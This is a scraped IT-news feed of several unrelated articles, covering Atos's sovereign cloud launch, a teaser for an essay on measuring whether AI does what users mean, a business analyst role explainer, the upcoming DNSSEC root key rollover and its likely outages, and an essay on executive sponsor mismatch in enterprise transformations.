<p class="wp-block-paragraph">“Digital sovereignty has become a global operational priority for organizations that need to manage dependencies, jurisdictional exposure and disruption risks across complex digital environments. Atos Sovereign Cloud gives customers a practical way to apply sovereign controls to their most critical workloads, while preserving flexibility, resilience and the ability to innovate securely,” said Michael Kollar, Atos Group digital sovereignty leader.</p>



<p class="wp-block-paragraph">There has been a concerted effort by <a href="https://www.computerworld.com/article/4121422/europe-votes-to-tackle-deep-dependence-on-us-tech-in-sovereignty-drive.html">European organizations to meet US competition</a> head-on. Earlier this month, <a href="https://www.networkworld.com/article/4192767/cloud-sovereignty-first-four-providers-sign-up-to-cispe-certification-program.html">four companies signed up to the certification program</a> introduced by the European cloud body, CISPE,</p>



<p class="wp-block-paragraph">This is the latest effort by Atos to get the company back on track. In April, <a href="https://www.networkworld.com/article/4154186/french-government-take-bull-by-horns-for-e404-million.html">it sold its supercomputer company, Bull</a> to the French government, after a previous attempt in 2024 to <a href="https://www.cio.com/article/1310376/atos-deal-to-sell-its-legacy-service-business-falls-through.html">sell off its computer services division</a> and <a href="https://www.cio.com/article/2086965/atos-staves-off-bankruptcy-casts-wider-net-for-refinancing.html">after a refinancing deal</a> in the same year.</p>



<p class="wp-block-paragraph">The company implemented a further round of refinancing this year and <a href="https://www.atosgroup.com/en/press/first-phase-refinancing-strategy-completed" target="_blank" rel="noreferrer noopener">in its half-yearly report</a> claimed that this was an “important milestone” in securing the company’s future. However, in its first-quarter results revenue showed an organic decline of 11 percent, so any projected growth may be some time in the future. Whether its Sovereign Cloud offering is the harbinger of the revival remains to be seen.</p>



<p class="wp-block-paragraph"><em>This article first appeared on <a href="https://www.cio.com/article/4201118/atos-launches-sovereign-cloud-service-to-power-comeback.html">CIO</a>.</em></p>
</div></div></div></div>]]></content:encoded>
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<title><![CDATA[Why AI Needs a “Genie Coefficient”]]></title>
<description><![CDATA[This essay was written with Barath Raghavan, and originally appeared in The Guardian.
Major benchmarks measure what AI can do. None measure whether it does what you mean: the distance between what you ask an AI to do and the unspoken assumptions about how you want the AI to do it. We propose a ne...]]></description>
<link>https://tsecurity.de/de/3691355/it-security-nachrichten/why-ai-needs-a-genie-coefficient/</link>
<guid isPermaLink="true">https://tsecurity.de/de/3691355/it-security-nachrichten/why-ai-needs-a-genie-coefficient/</guid>
<pubDate>Fri, 24 Jul 2026 13:12:45 +0200</pubDate>
<category>📰 IT Security Nachrichten</category>
<source url="https://tsecurity.de">tsecurity.de</source>
<content:encoded><![CDATA[<p><em>This essay was written with Barath Raghavan, and originally appeared in <a href="https://spectrum.ieee.org/ai-agent-benchmark">The Guardian</a>.</em></p>
<p>Major benchmarks measure what AI can do. None measure whether it does what you mean: the distance between what you ask an AI to do and the unspoken assumptions about how you want the AI to do it. We propose a new metric: the Genie coefficient.</p>
<p>There’s often a gap between one person’s request and another’s understanding. Most of the time, we bridge it using general knowledge. For example, if you ask a friend to get you coffee, they’ll pour a cup from the pot or buy one from a coffee shop. They won’t bring you a bag of raw beans or snatch a cup from a stranger and hand it to you. You never specified any of this. You never had to...</p>]]></content:encoded>
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<title><![CDATA[Atos launches sovereign cloud service to power comeback]]></title>
<description><![CDATA[Atos has launched a new sovereign cloud platform aimed squarely at European public sector bodies, healthcare providers and defense organizations. It’s the latest effort by European companies in their fight back against US dominance.



Atos Sovereign Cloud offers a range of controls for data mana...]]></description>
<link>https://tsecurity.de/de/3691349/it-security-nachrichten/atos-launches-sovereign-cloud-service-to-power-comeback/</link>
<guid isPermaLink="true">https://tsecurity.de/de/3691349/it-security-nachrichten/atos-launches-sovereign-cloud-service-to-power-comeback/</guid>
<pubDate>Fri, 24 Jul 2026 13:12:35 +0200</pubDate>
<category>📰 IT Security Nachrichten</category>
<source url="https://tsecurity.de">tsecurity.de</source>
<content:encoded><![CDATA[<div>
		<div class="grid grid--cols-10@md grid--cols-8@lg article-column">
					  <div class="col-12 col-10@md col-6@lg col-start-3@lg">
						<div class="article-column__content">
<section class="wp-block-bigbite-multi-title"><div class="container"></div></section>



<p class="wp-block-paragraph">Atos has launched a new sovereign cloud platform aimed squarely at European public sector bodies, healthcare providers and defense organizations. It’s the latest effort by European companies in their fight back against US dominance.</p>



<p class="wp-block-paragraph">Atos Sovereign Cloud offers a range of controls for data management, providing customers with resilience and full control over their data, complying with existing European legislation on data residency.</p>



<p class="wp-block-paragraph">“Digital sovereignty has become a global operational priority for organizations that need to manage dependencies, jurisdictional exposure and disruption risks across complex digital environments. Atos Sovereign Cloud gives customers a practical way to apply sovereign controls to their most critical workloads, while preserving flexibility, resilience and the ability to innovate securely,” said Michael Kollar, Atos Group digital sovereignty leader.</p>



<p class="wp-block-paragraph">There has been a concerted effort by <a href="https://www.computerworld.com/article/4121422/europe-votes-to-tackle-deep-dependence-on-us-tech-in-sovereignty-drive.html">European organizations to meet US competition</a> head-on. Earlier this month, <a href="https://www.networkworld.com/article/4192767/cloud-sovereignty-first-four-providers-sign-up-to-cispe-certification-program.html">four companies signed up to the certification program</a> introduced by the European cloud body, CISPE,</p>



<p class="wp-block-paragraph">This is the latest effort by Atos to get the company back on track. In April, <a href="https://www.networkworld.com/article/4154186/french-government-take-bull-by-horns-for-e404-million.html">it sold its supercomputer company, Bull</a> to the French government, after a previous attempt in 2024 to <a href="https://www.cio.com/article/1310376/atos-deal-to-sell-its-legacy-service-business-falls-through.html">sell off its computer services division</a> and <a href="https://www.cio.com/article/2086965/atos-staves-off-bankruptcy-casts-wider-net-for-refinancing.html">after a refinancing deal</a> in the same year.</p>



<p class="wp-block-paragraph">The company implemented a further round of refinancing this year and <a href="https://www.atosgroup.com/en/press/first-phase-refinancing-strategy-completed" target="_blank" rel="noreferrer noopener">in its half-yearly report</a> claimed that this was an “important milestone” in securing the company’s future. However, in its first-quarter results revenue showed an organic decline of 11 percent, so any projected growth may be some time in the future. Whether its Sovereign Cloud offering is the harbinger of the revival remains to be seen.</p>



<p class="wp-block-paragraph"></p>
</div></div></div></div>]]></content:encoded>
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<title><![CDATA[Total War: Warhammer 40,000's first, unedited gameplay deep dive into its ranged combat has firmly convinced me to put this Xbox title on my wishlist]]></title>
<description><![CDATA[The developers on Total War: Warhammer 40,000 recently unveiled a livestream deep dive into its combat system, in particular showcasing mechanics, special abilities, and tactics focused on ranged combat.]]></description>
<link>https://tsecurity.de/de/3691235/windows-tipps/total-war-warhammer-40000s-first-unedited-gameplay-deep-dive-into-its-ranged-combat-has-firmly-convinced-me-to-put-this-xbox-title-on-my-wishlist/</link>
<guid isPermaLink="true">https://tsecurity.de/de/3691235/windows-tipps/total-war-warhammer-40000s-first-unedited-gameplay-deep-dive-into-its-ranged-combat-has-firmly-convinced-me-to-put-this-xbox-title-on-my-wishlist/</guid>
<pubDate>Fri, 24 Jul 2026 12:09:51 +0200</pubDate>
<category>🪟 Windows Tipps</category>
<source url="https://tsecurity.de">tsecurity.de</source>
<content:encoded><![CDATA[The developers on Total War: Warhammer 40,000 recently unveiled a livestream deep dive into its combat system, in particular showcasing mechanics, special abilities, and tactics focused on ranged combat.]]></content:encoded>
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<title><![CDATA[What is a business analyst? A key role for business-IT efficiency]]></title>
<description><![CDATA[What is a business analyst?



Business analysts (BAs) are responsible for bridging the gap between IT and the business using data analytics to assess processes, determine requirements, and deliver data-driven recommendations and reports to executives and stakeholders.



BAs engage with business...]]></description>
<link>https://tsecurity.de/de/3691228/it-security-nachrichten/what-is-a-business-analyst-a-key-role-for-business-it-efficiency/</link>
<guid isPermaLink="true">https://tsecurity.de/de/3691228/it-security-nachrichten/what-is-a-business-analyst-a-key-role-for-business-it-efficiency/</guid>
<pubDate>Fri, 24 Jul 2026 12:09:04 +0200</pubDate>
<category>📰 IT Security Nachrichten</category>
<source url="https://tsecurity.de">tsecurity.de</source>
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<h2 class="wp-block-heading">What is a business analyst?</h2>



<p class="wp-block-paragraph">Business analysts (BAs) are responsible for bridging the gap between IT and the business using <a href="https://www.cio.com/article/191313/what-is-data-analytics-analyzing-and-managing-data-for-decisions.html">data analytics</a> to assess processes, determine requirements, and deliver data-driven recommendations and reports to executives and stakeholders.</p>



<p class="wp-block-paragraph">BAs engage with business leaders and users to understand how data-driven changes to process, products, services, software, and hardware can improve efficiencies and add value. They must articulate those ideas but also balance them against what’s technologically feasible and financially and functionally reasonable. Depending on the role, a business analyst might work with data sets to improve products, hardware, tools, software, services, or process.</p>



<p class="wp-block-paragraph">The International Institute of Business Analysis (IIBA), a nonprofit professional association, considers the business analyst an agent of change, and says that <a href="https://www.cio.com/article/191157/what-is-business-analytics-using-data-to-predict-business-outcomes.html">business analysis</a> is a disciplined approach to introduce and manage change to organizations, whether they’re for-profit businesses, governments, or nonprofits.</p>



<h2 class="wp-block-heading">Impact of AI on business analyst role</h2>



<p class="wp-block-paragraph">As AI becomes commonplace in the tech industry, business analysts are embracing it as a tool to automate repetitive work in the role. AI tools can be used for workflow and diagramming, process mapping, data analysis, and to automate meeting minutes and transcribe meetings where requirements are established, all designed to speed up the process of analyzing data, creating visuals, and transcribing and writing user stories and acceptance criteria.</p>



<p class="wp-block-paragraph">AI tools can also help identify patterns, insights, and unique data points that might go unnoticed by humans, and allow a faster time to generate insights for organizations.</p>



<p class="wp-block-paragraph">Of course, as with all AI tools, they still require humans to oversee prompts, scripting, and evaluate AI outputs to ensure they’re accurate and valid. While they can’t replace the work of BAs, AI can help them spend more time on thoughtful analysis and decision making, rather than mundane tasks such as gathering and summarizing data, and querying.</p>



<h2 class="wp-block-heading">Business analyst job description</h2>



<p class="wp-block-paragraph">BAs are responsible for creating new models that support business decisions by working closely with finance and IT teams to establish initiatives and strategies aimed at improving revenue and optimizing costs. They need a strong understanding of regulatory and reporting requirements, and have plenty of experience in forecasting, budgeting, and financial analysis combined with knowing KPIs, according to Robert Half Technology.</p>



<p class="wp-block-paragraph">According to Robert Half, a BA’s job description typically includes budgeting and forecasting, planning and monitoring, variance analysis, pricing, reporting, and creating a detailed business analysis in an effort to outline problems, opportunities, and solutions for a business. It also says BAs should be able to define business requirements and report them back to stakeholders.</p>



<p class="wp-block-paragraph">Since BAs are tasked with prioritizing technical and functional requirements, identifying what clients want, and determining what’s feasible to deliver, the role requires a deep understanding of systems, how they function, who’ll need to be involved, and the necessary steps to get everyone on board.  </p>



<p class="wp-block-paragraph">The role is constantly evolving, especially as companies rely more on data to advise business operations. Every company has different issues that a business analyst can address, whether it’s dealing with outdated legacy systems, changing technologies, broken processes, poor client or customer satisfaction, or large, siloed organizations.</p>



<h2 class="wp-block-heading">Business analyst skills</h2>



<p class="wp-block-paragraph">The BA position requires both hard and soft skills, as they need to know how to pull, analyze, and report data trends, share that information with others, and apply it to business goals and needs.</p>



<p class="wp-block-paragraph">Not all BAs need a background in IT if they have a general understanding of how systems, products, and tools work. Alternatively, some have strong IT backgrounds and less experience in business, but are interested in shifting away from IT into this hybrid role, which often acts as a communicator between the business and IT sides of the organization. So having extensive experience in either area can be beneficial for BAs.</p>



<p class="wp-block-paragraph"><a href="https://www.iiba.org/career-resources/new-to-business-analysis/" target="_blank" rel="noreferrer noopener">According to the IIBA</a>, some of the most important skills and experience for a business analyst are:</p>



<ul class="wp-block-list">
<li>Oral and written communication skills</li>



<li>Interpersonal, organizational, facilitation, and consultative skills</li>



<li>Analytical thinking and problem solving</li>



<li>Being detail-oriented and able to deliver a high level of accuracy</li>



<li>Knowledge of business structure</li>



<li>Stakeholder and cost-benefit analysis</li>



<li>Processes modeling</li>



<li>Understanding networks, databases, and other technologies</li>
</ul>



<p class="wp-block-paragraph">For a more in-depth look at what it takes to succeed as a business analyst, click <a href="https://www.cio.com/article/189108/essential-traits-of-elite-business-analysts.html">here</a>.</p>



<h2 class="wp-block-heading">Business analyst salary</h2>



<p class="wp-block-paragraph">The average annual salary for an IT business analyst is $80,692, according to <a href="https://www.payscale.com/research/US/Job=Business_Analyst%2C_IT/Salary" target="_blank" rel="noreferrer noopener">data from PayScale</a>. The highest paid BAs are in New York, where the average salary is 14% higher than the national average. Dallas, Texas, is second, with reported salaries 6.4% higher than the national average, closely followed by Washington, D.C., where salaries are 6.3% higher than the national average.</p>



<p class="wp-block-paragraph">Some skills are in higher demand than others, with the potential to boost salary. According to Payscale, these are associated with higher BA salaries. These skills, and the amount they can boost your salary, include:</p>



<figure class="wp-block-table"><div class="overflow-table-wrapper"><table class="has-fixed-layout"><tbody><tr><td>Skills</td><td>Salary Boost</td></tr><tr><td>ScrumMaster</td><td>44%</td></tr><tr><td>Microsoft Azure</td><td>30%</td></tr><tr><td>Supply Chain</td><td>27%</td></tr><tr><td>Oracle eBusiness Suite</td><td>25%</td></tr><tr><td>Master Data Management (SAP MDM)</td><td>24%</td></tr><tr><td>SAP Sales and Distribution (SAP SD)</td><td>24%</td></tr><tr><td>Product Support</td><td>18%</td></tr><tr><td>Microsoft Dynamics GP</td><td>18%</td></tr><tr><td>SAP Quality Management (SAP QM)</td><td>18%</td></tr><tr><td>Workday Software</td><td>15%</td></tr></tbody></table> </div></figure>



<p class="wp-block-paragraph">For tips on boosting your salary, click <a href="https://www.cio.com/article/189510/7-steps-business-analysts-can-take-to-earn-more.html">here</a>.</p>



<h2 class="wp-block-heading">Business analyst certifications</h2>



<p class="wp-block-paragraph">Although business analysis is a relatively new discipline in IT, a handful of organizations already offer certifications to help boost your résumé and prove your merit as an analyst. Organizations such as the IIBA, IQBBA, IREB, and PMI each offer their own tailored certifications for business analysis. These include:</p>



<ul class="wp-block-list">
<li>IIBA <a href="https://www.cio.com/article/189169/ecba-certification-an-entry-level-credential-for-business-analysts.html">Entry Certificate in Business Analysis (ECBA)</a></li>



<li>IIBA Certification of Competency in Business Analysis (CCBA)</li>



<li>IIBA Certified Business Analysis Professional (CBAP)</li>



<li>IIBA Agile Analysis Certification (AAC)</li>



<li>IQBBA Certified Foundation Level Business Analyst (CFLBA)</li>



<li>IREB Certified Professional for Requirements Engineering (CPRE)</li>



<li>PMI Professional in Business Analysis (PBA)</li>



<li>Certified Analytics Professional (CAP)</li>
</ul>



<p class="wp-block-paragraph">For more information about how to earn one of these certifications — and how much they cost — click <a href="https://www.cio.com/article/228834/6-business-analyst-certifications-to-advance-your-analytics-career.html">here</a>.</p>



<h2 class="wp-block-heading">Business analytics tools and software</h2>



<p class="wp-block-paragraph">BAs typically rely on software such as Microsoft’s Excel, PowerPoint, and Access, as well as SQL, Google Analytics, and Tableau. These tools help BAs collect and sort data, create graphs, write documents, and design visualizations to explain findings. You won’t necessarily need programming or database skills for a BA position, but if you already have these skills, they won’t hurt. The type of software and tools you’ll need to use, however, will depend on your job title and what the organization requires.</p>
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<title><![CDATA[CIOs beware: DNS KSK rollover could kick off wave of mysterious outages]]></title>
<description><![CDATA[Predicting an outage is tricky business, but CIOs might want to circle Oct. 11, 2026, through Jan. 11, 2027, for likely trouble of a potentially widespread and puzzling nature.



That’s because a relatively trivial update to DNSSEC on Oct. 11, one that will take full effect by Jan. 11, is likely...]]></description>
<link>https://tsecurity.de/de/3691225/it-security-nachrichten/cios-beware-dns-ksk-rollover-could-kick-off-wave-of-mysterious-outages/</link>
<guid isPermaLink="true">https://tsecurity.de/de/3691225/it-security-nachrichten/cios-beware-dns-ksk-rollover-could-kick-off-wave-of-mysterious-outages/</guid>
<pubDate>Fri, 24 Jul 2026 12:09:00 +0200</pubDate>
<category>📰 IT Security Nachrichten</category>
<source url="https://tsecurity.de">tsecurity.de</source>
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<p class="wp-block-paragraph">Predicting an outage is tricky business, but CIOs might want to circle Oct. 11, 2026, through Jan. 11, 2027, for likely trouble of a potentially widespread and puzzling nature.</p>



<p class="wp-block-paragraph">That’s because a relatively trivial update to DNSSEC on Oct. 11, one that will take full effect by Jan. 11, is likely to deliver a series of seemingly unrelated system outages. This will come from oceans of dependencies from third-party, shadow, agentic, gen AI, SaaS, homegrown, and legacy apps — among many other quiet executable hiding spots, including virtual environments and containers.</p>



<p class="wp-block-paragraph"><a href="https://www.linkedin.com/in/joshithak/">Sai Joshitha Kathari</a>, senior site reliability engineer at payment card giant Visa, says most enterprises have far more DNS-related exposure than they realize because of these many dependencies.</p>



<p class="wp-block-paragraph">“This has the potential to create real downstream destruction when unresolved failures sit underneath important business functions,” Kathari says. </p>



<p class="wp-block-paragraph">The danger is that so many of these issues are either unknown to IT or handled by a third-party vendor and no one in IT has had reason to ask those vendors about DNS updates. </p>



<p class="wp-block-paragraph">“The risky areas are usually not the obvious managed DNS services. They are the older internal applications, hardcoded resolvers, containerized workloads, sidecar configurations, custom scripts, partner integrations, VM images, stale base images, and service-to-service dependencies that nobody has touched in a long time,” Kathari explains. “These systems can keep working quietly for years, then fail during a DNS or certificate-related change because they bypassed the normal platform standards.”</p>



<p class="wp-block-paragraph">Independent technology analyst <a href="https://www.linkedin.com/in/carmi/">Carmi Levy</a> says that CIOs need to take this event very seriously. </p>



<p class="wp-block-paragraph">“The two-pronged deadline — October 11, 2026, when the new Key Signing Key (KSK) begins signing the root zone, and January 11, 2027, when the old key is retired — should be marked in red on everyone’s calendar, just as December 31, 1999, once was,” Levy says. “Failure to comply could result in websites, critical business applications, and related resources dropping off the face of the Earth once the transition is complete.”</p>



<p class="wp-block-paragraph">Levy adds: “Custom-built code that lives outside conventional support mechanisms may or may not function when the DNS changes go into effect.”</p>



<p class="wp-block-paragraph">The <a href="https://www.icann.org/resources/press-material/release-2026-05-20-en">DNSSEC update itself</a> is straightforward, but it is also the first significant DNSSEC change — specifically a change in the trust anchor — since 2018. </p>



<p class="wp-block-paragraph">The rollout statement noted that “the trust anchor is formally known as the Domain Name System Security Extensions (DNSSEC) root zone Key Signing Key (KSK). The KSK is the cryptographic key at the core of the DNSSEC trust anchor and is used to verify that DNS responses are legitimate and have not been modified in transit.”</p>



<h2 class="wp-block-heading">Expect nearly every enterprise to be impacted</h2>



<p class="wp-block-paragraph"><a href="https://www.linkedin.com/in/kimdavies/">Kim Davies</a>, vice president of IANA Services and president of public technical identifiers at ICANN, says the extent of the impact on enterprises is unknowable, given the nature of shadow IT and other edge cases. </p>



<p class="wp-block-paragraph">But based on the massive number of dependencies both known and unknown in the typical global enterprise, Davies guesses that just about every enterprise will be impacted, to varying degrees. </p>



<p class="wp-block-paragraph">“In highly complex organizations, it is very likely there will be some impact in the corners, in the margins, of the organization,” Davies tells CIO. “DNS is such a core technology that underpins everything.”</p>



<p class="wp-block-paragraph">As the updates propagate, hiccups will materialize, Davies notes. “When the system cannot validate the [DNS] information, it will treat it as suspect and DNS lookups will fail.”</p>



<p class="wp-block-paragraph">Visa’s Kathari says, “Enterprises should expect some secondary DNS-related glitches when major DNSSEC-related changes happen, not necessarily because the core infrastructure teams will ignore the update, but because large environments have many hidden dependency paths.”</p>



<p class="wp-block-paragraph">Making this problem far worse, Kathari notes, is that the glitches will likely initially look like anything other thana DNS glitch. That will force IT staff to waste a vast number of hours chasing causes that ultimately prove to be unrelated to the incidents. </p>



<p class="wp-block-paragraph">“The impact for CIOs is that DNS failures rarely announce themselves as DNS failures. They look like application timeouts, broken logins, failed API calls, queue lag, payment failures, partner connectivity issues, or random regional instability,” Kathari explains. “That makes troubleshooting slower because teams may spend hours looking at the application, database, network, or cloud provider before realizing name resolution is part of the failure path.”</p>



<p class="wp-block-paragraph"><a href="https://greyhoundresearch.com/svg/">Sanchit Vir Gogia</a>, chief analyst at Greyhound Research, agrees that IT will likely spin its wheels chasing the wrong ghosts.</p>



<p class="wp-block-paragraph">“A validation failure rarely stays in its lane. It surfaces as an application error, an API timeout, or a reachability problem, which turns a resolver fault into a coordination failure,” Gogia says. “The application team blames the network, the network team blames the cloud, and the user simply watches work stop.”</p>



<p class="wp-block-paragraph">“Images and templates are the frontier most teams miss,” Gogia adds. “A resolver fixed in summer can be broken again in October the instant a stale golden image is redeployed, because automation no longer lets configuration drift slowly. It restores yesterday’s assumptions at machine speed.”</p>



<p class="wp-block-paragraph">It is widely expected that enterprises will not have any problems executing the change or, more likely, relying on their hyperscalers to properly handle the change. That is the concern. </p>



<p class="wp-block-paragraph">“CIOs are being distracted so much with AI and this is such a deep in the weeds infrastructure issue that this can and willcatch people off-guard,” <a href="https://acceligence.com/talent/profiles/justin-greis/">Justin Greis</a>, CEO of consulting firm Acceligence, tells CIO. “I think we’ll see a meaningful number of enterprise disruptions associated with the DNSSEC trust anchor rollover. Not because the update itself is especially difficult, but because it will expose weaknesses that already exist inside many organizations.”</p>



<p class="wp-block-paragraph">Most enterprise IT operations have had no reason to compile a comprehensive list of all DNS dependencies, but many will be instantly discovered in January. </p>



<h2 class="wp-block-heading">Potentially widespread fallout</h2>



<p class="wp-block-paragraph">A major retailer, for example, might suddenly be unable to connect with FedEx to arrange for deliveries or a hospital may find that test results are no longer being shared with patient portals. It might manifest as an assembly line that halts because an IIoT component can no longer share files with its vendor system or a truck fleet that stops being tracked. </p>



<p class="wp-block-paragraph">“There will almost certainly be systems that fall through the cracks. Some will be legacy applications that rely on outdated DNS configurations that have not been updated in years,” Greis says. “Others will be business-unit-developed tools, contractor-built solutions, embedded systems, manufacturing and industrial systems, or highly customized workloads that operate outside normal IT oversight. These are the types of systems that often surface during infrastructure events like this.”</p>



<p class="wp-block-paragraph">Greis adds that many enterprises will discover in January problems created by their own automation.</p>



<p class="wp-block-paragraph">“Over time, enterprises build layers of processes, templates, and deployment mechanisms that are reused across teams and environments,” Greis notes. “Even after DNS infrastructure is updated correctly, older settings can inadvertently be reintroduced through routine updates and system changes, creating intermittent and difficult-to-diagnose failures.”</p>



<p class="wp-block-paragraph">The good news from this situation is that enterprises are not going to likely lose all DNS access if any of these glitches occur. But that may be of no comfort because even if the disruptions are only with small edge cases, that can still cause massive operational disruptions.</p>



<p class="wp-block-paragraph"><a href="https://www.linkedin.com/in/cricketliu/">Cricket Liu</a>, EVP and chief evangelist at Infoblox, gives the example of a DNS server that responds to factory-floor system queries.</p>



<p class="wp-block-paragraph">“Or let’s say this disrupts [an enterprise’s key] SaaS application. All name resolution may stop and it will show a server failure. It will not deliver a response whenever I look anything up. That’s not subtle at all,” Liu says. “It’s highly likely that companies are going to see some effects.”</p>



<p class="wp-block-paragraph">Back in 2017, the switchover was relatively uneventful, giving some CIOs hope that January 2027 will also be a non-event. But given the technology advancements in the last 10 years and the resulting tidal wave of new enterprise tech dependencies, few are realistically expecting no problems this go around. </p>



<h2 class="wp-block-heading">Impossible to predict what will happen</h2>



<p class="wp-block-paragraph">One of the top network experts on DNS effects in enterprises is <a href="https://blog.apnic.net/author/geoff-huston/">Geoff Huston</a>, chief scientist at the Asia Pacific Network Information Centre (APNIC), the regional Internet Registry administering IP addresses for the Asia Pacific region.</p>



<p class="wp-block-paragraph">Huston says it is difficult to project what will happen in January until it happens.</p>



<p class="wp-block-paragraph">“Just like the last time, we are flying blind with this key roll. Because nothing really terrible happened last time, there is some confidence that nothing terrible will happen this time, but we just can’t tell in advance as there are no good measurement approaches that allow us to peek inside the trust state of recursive resolvers,” he says.</p>



<p class="wp-block-paragraph">As for potential edge-case glitches, Huston says it is possible, but if third-party vendors do not properly handle the update, there will be other issues as well, as the KSK cryptographic key used within DNSSEC signs and validates the keys that protect DNS records. </p>



<p class="wp-block-paragraph">“If it is not standards-compliant, then you have more problems than just the KSK roll,” Huston says, “as it raises the obvious question of ‘What else is not correctly implemented in the DNS resolver that I’m running?’”</p>



<p class="wp-block-paragraph">As a silver lining, Acceligence’s Greis says any hiccups that result from the DNS KSK update may be a gift in disguise for CIOs. </p>



<p class="wp-block-paragraph">“The irony is that some of the most business-critical components in the technology stack are often the least visible because they work in the background,” Greis says. January “may reveal how much modern business resilience depends on infrastructure that many organizations rarely examine until something breaks. For CIOs, that’s the real lesson. This is not fundamentally a story about a DNS update. It is a story about operational visibility, resilience, and governance. Organizations that treat the rollover as a routine infrastructure task will likely complete the update and move on. Organizations that use it as an opportunity to understand and strengthen the foundations of their technology environment may gain far more value than simply avoiding an outage.”</p>
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<title><![CDATA[Sponsor mismatch is the silent killer of enterprise transformation]]></title>
<description><![CDATA[Late in a large enterprise SAP transformation, the strategic governance conversations began to drift. Instead of executive decisions, we found ourselves debating whether the program needed dedicated testing, whether cutover required a full weekend, whether twenty Agile teams really needed coordin...]]></description>
<link>https://tsecurity.de/de/3691067/it-nachrichten/sponsor-mismatch-is-the-silent-killer-of-enterprise-transformation/</link>
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<pubDate>Fri, 24 Jul 2026 11:03:44 +0200</pubDate>
<category>📰 IT Nachrichten</category>
<source url="https://tsecurity.de">tsecurity.de</source>
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<p class="wp-block-paragraph">Late in a large enterprise SAP transformation, the strategic governance conversations began to drift. Instead of executive decisions, we found ourselves debating whether the program needed dedicated testing, whether cutover required a full weekend, whether twenty Agile teams really needed coordination support and whether offshore resources were adding value at all.</p>



<p class="wp-block-paragraph">The questions were not coming from the delivery teams. They were coming from the executive sponsor.</p>



<p class="wp-block-paragraph">The sponsor had recently been elevated into a senior leadership role and had never sponsored a technology transformation at this scale. The challenge was not authority. The sponsor had every right to ask any question they wanted. The challenge was that strategic governance had quietly turned into a debate about delivery practices, because the sponsor did not yet have the transformation context to focus the conversation anywhere else.</p>



<p class="wp-block-paragraph">This is not a story about a bad sponsor. The executive in this case was a capable senior leader with strong judgment and authentic intent. They had been placed into a role they had not yet been prepared for, and the pattern that followed was structural, not personal. It is one of the more common patterns I have observed across enterprise transformation programs, and one of the most consistently misdiagnosed.</p>



<p class="wp-block-paragraph">Most program failures are not execution failures. They are sponsor mismatches.</p>



<h2 class="wp-block-heading">When governance becomes a debate about delivery practices</h2>



<p class="wp-block-paragraph">When the sponsor does not understand what an enterprise transformation actually requires, governance forums stop functioning as decision bodies and start functioning as practice debates.</p>



<p class="wp-block-paragraph">You see it in the questions that get asked. Why do we need a dedicated testing phase? Can the Build timeline be compressed? Why does cutover need a full weekend? Why do we need more Scrum Masters across 20 product teams? Can the US team simply work longer hours instead of using offshore resources? On one program, the sponsor suggested shifting the entire project’s working hours to India time, despite roughly 85 percent of the delivery organization being based in the United States.</p>



<p class="wp-block-paragraph">None of these questions are unreasonable in isolation. Each one targets a real cost or timeline pressure. The problem is what is missing underneath them: an understanding of the operational risks the original choices were designed to mitigate.</p>



<p class="wp-block-paragraph">When sponsors ask delivery-practice questions without that context, the program leadership team ends up defending the work instead of advancing it. Decision velocity drops. Trust between the program and its sponsor erodes. Senior delivery talent disengages from governance forums where the conversation never reaches the decisions they need made. What looks from the outside like an active sponsor producing engagement is, from inside the program, an active drain on the cycles needed to deliver.</p>



<p class="wp-block-paragraph">The compounding cost is not unique to any single program. <a href="https://www.pmi.org/blog/why-executive-sponsorship-fuels-projects">PMI’s research on executive sponsorship</a> consistently identifies sponsor engagement quality, rather than sponsor presence alone, as one of the strongest predictors of project success. The visible symptom is debate. The actual cost is unmade decisions.</p>



<h2 class="wp-block-heading">Authority is rarely the issue. Literacy is</h2>



<p class="wp-block-paragraph">When transformations stall under a mismatched sponsor, the diagnostic instinct is to question the sponsor’s authority. Are they senior enough? Do they have the cross-functional reach? Can they unblock?</p>



<p class="wp-block-paragraph">In most of the programs I have led or advised, authority was not the limiting factor. The sponsor in the SAP program above had ample authority. They could unblock any decision the program needed. What had not been developed was the transformation literacy to know which decisions mattered, which were technical noise and which were execution risks that should not be optimized away.</p>



<p class="wp-block-paragraph">This is what I have come to think of as the literacy problem. Sponsors elevated into transformation roles often have deep functional expertise (finance, operations, business unit leadership) but limited exposure to the distinct functions of PMO, organizational change management, agile delivery, testing and cutover, and how each one reduces a specific category of implementation risk. They are not expected to be SAP configuration experts. But they need enough transformation literacy to recognize which questions actually belong in a steering committee.</p>



<p class="wp-block-paragraph"><a href="https://hbr.org/2015/05/how-to-be-an-effective-executive-sponsor">Harvard Business Review’s research on effective executive sponsorship</a> has emphasized that sponsorship effectiveness depends as much on judgment as on authority. Judgment is where literacy becomes operational. A sponsor with authority but limited transformation literacy will optimize for speed and cost in ways that consistently underestimate risk. A sponsor with both will make the tradeoffs the program actually needs.</p>



<p class="wp-block-paragraph"><a href="https://www.prosci.com/resources/articles/change-management-best-practices">Prosci’s longstanding benchmark studies on change management</a> have ranked active and visible executive sponsorship as the single greatest contributor to change success for two decades. The word that matters in that finding is active. Active sponsorship without transformation literacy can introduce real cost. Not because the sponsor is acting against the program, but because the optimization choices they make are based on incomplete information about what the program is built to protect against.</p>



<h2 class="wp-block-heading">Shift the conversation from delivery practices to business risk</h2>



<p class="wp-block-paragraph">When the sponsor relationship is already in place and cannot be changed, the program leadership team has one move that consistently works: shift the conversation.</p>



<p class="wp-block-paragraph">On the SAP program above, we stopped explaining why the testing phase existed. We started explaining the business risk of reducing it. We stopped debating the number of Scrum Masters. We started connecting delivery capacity to coordination across more than twenty Agile teams and the business cost of losing that coordination. We reframed offshore support as a way to maintain delivery momentum around the clock rather than asking the U.S. team to sustain fifteen-hour days.</p>



<p class="wp-block-paragraph">The shift is from defending delivery practice to explaining business risk. The sponsor does not need to understand why testing takes the time it does. They need to understand what the program is exposed to if testing is compressed. They do not need to know how many Scrum Masters are statistically optimal for twenty Agile teams. They need to know what coordination breaks when the number is wrong.</p>



<p class="wp-block-paragraph">This reframing accomplishes two things. First, it brings the conversation back to the level at which sponsors actually make decisions: tradeoffs between business outcomes and business risks. Second, it builds transformation literacy in the sponsor over time, almost as a byproduct. By the third or fourth iteration of business-risk-framed conversations, the sponsor begins to ask the right questions on their own.</p>



<p class="wp-block-paragraph">In practice, this happens through small but deliberate moves. When the sponsor asks why a phase needs the time it takes, the program lead names two or three things that could go wrong if the time is cut and what each would cost the business. When the sponsor asks why a role is needed, the program lead names the work that would not get done without it. Every delivery-practice question gets converted into a business-risk answer.</p>



<p class="wp-block-paragraph">The program leadership team’s job is not to make the sponsor an expert in SAP delivery. It is to provide enough transformation context so that executive decisions reflect both business priorities and implementation realities.</p>



